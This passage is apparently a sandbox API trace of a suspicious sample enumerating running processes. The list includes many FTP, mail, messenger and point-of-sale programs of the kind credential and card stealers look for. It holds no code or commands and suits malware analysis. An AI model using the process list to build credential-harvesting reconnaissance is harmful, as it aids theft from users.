[0297.491] Sleep (dwMilliseconds=0x64) [0297.536] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0297.552] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.554] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0297.555] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0297.557] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0297.558] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0297.560] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0297.561] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0297.563] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0297.564] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0297.615] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.616] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.618] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0297.619] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.621] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.622] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.624] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.625] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.627] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.629] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.630] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0297.632] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0297.634] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0297.637] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.642] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0297.738] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0297.741] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0297.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0297.745] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0297.750] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0297.751] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0297.753] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0297.804] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0297.806] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0297.807] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0297.809] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0297.811] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0297.812] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0297.814] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0297.815] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0297.817] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0297.818] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0297.820] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0297.822] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0297.823] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0297.825] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0297.826] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0297.828] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0297.829] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0297.831] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0297.833] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0297.834] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0297.836] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0297.838] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0297.839] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0297.841] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0297.842] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0297.844] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0297.846] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0297.904] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0297.906] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0297.908] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0297.910] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0297.912] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0297.914] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0297.915] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0297.917] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0297.919] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0297.921] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0297.923] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0297.925] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0297.927] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0297.928] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0297.931] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0297.934] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0297.936] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0297.992] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0297.998] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0298.000] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0298.005] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0298.008] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0298.013] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0298.021] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0298.024] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0298.029] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, 